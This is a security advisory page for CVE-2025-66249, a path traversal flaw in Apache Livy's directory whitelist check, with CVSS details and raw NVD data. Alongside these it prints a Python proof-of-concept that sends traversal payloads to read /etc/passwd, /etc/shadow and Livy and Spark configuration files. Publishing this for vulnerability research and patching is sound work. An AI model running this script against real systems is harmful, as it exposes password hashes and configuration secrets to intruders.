Security Vulnerability Report
中文
CVE-2025-66249 CVSS 6.3 MEDIUM

CVE-2025-66249

Published: 2026-03-13 19:53:53
Last Modified: 2026-03-19 12:28:24

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Livy. This issue affects Apache Livy: from 0.3.0 before 0.9.0. The vulnerability can only be exploited with non-default Apache Livy Server settings. If the configuration value "livy.file.local-dir-whitelist" is set to a non-default value, the directory checking can be bypassed. Users are recommended to upgrade to version 0.9.0, which fixes the issue.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:livy:*:*:*:*:*:*:*:* - VULNERABLE
Apache Livy 0.3.0 至 0.9.0 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66249 Path Traversal PoC for Apache Livy # Requirements: Valid session with low privileges import requests import urllib.parse TARGET_URL = "http://target-server:8998" SESSION_ID = "your-session-id" def exploit_path_traversal(): """ Exploits CVE-2025-66249 by bypassing local directory whitelist Requires livy.file.local-dir-whitelist to be set to non-default value """ headers = { "X-Requested-With": "XMLHttpRequest", "Cookie": f"livy.session.id={SESSION_ID}" } # Path traversal payloads to read sensitive files payloads = [ # Read /etc/passwd "local-dir-whitelist/../../../etc/passwd", # Read Livy configuration file "local-dir-whitelist/../../../opt/livy/conf/livy.conf", # Read Spark configuration "local-dir-whitelist/../../../opt/spark/conf/spark-defaults.conf", # Read shadow password file "local-dir-whitelist/../../../etc/shadow", # Read environment variables "local-dir-whitelist/../../../etc/environment" ] for payload in payloads: try: # URL encode the payload encoded_payload = urllib.parse.quote(payload, safe='') url = f"{TARGET_URL}/files/{encoded_payload}" response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Read: {payload}") print(f"Content:\n{response.text[:500]}") elif response.status_code == 403: print(f"[-] Blocked: {payload}") else: print(f"[*] Status {response.status_code}: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("CVE-2025-66249 Apache Livy Path Traversal PoC") print("=" * 50) exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66249", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:52.757", "lastModified": "2026-03-19T12:28:24.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Livy.\n\nThis issue affects Apache Livy: from 0.3.0 before 0.9.0.\n\nThe vulnerability can only be exploited with non-default Apache Livy Server settings. If the configuration value \"livy.file.local-dir-whitelist\" is set to a non-default value, the directory checking can be bypassed.\n\nUsers are recommended to upgrade to version 0.9.0, which fixes the issue."}, {"lang": "es", "value": "Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Salto de Ruta') vulnerabilidad en Apache Livy.\n\nEste problema afecta a Apache Livy: desde 0.3.0 antes de 0.9.0.\n\nLa vulnerabilidad solo puede ser explotada con configuraciones no predeterminadas del servidor Apache Livy. Si el valor de configuración livy.file.local-dir-whitelist se establece en un valor no predeterminado, la verificación del directorio puede ser eludida.\n\nSe recomienda a los usuarios actualizar a la versión 0.9.0, que corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:livy:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.3.0", "versionEndExcluding": "0.9.0", "matchCriteriaId": "E974534E-9799-4E88-90C2-DE7B5EFC8C19"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/12/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}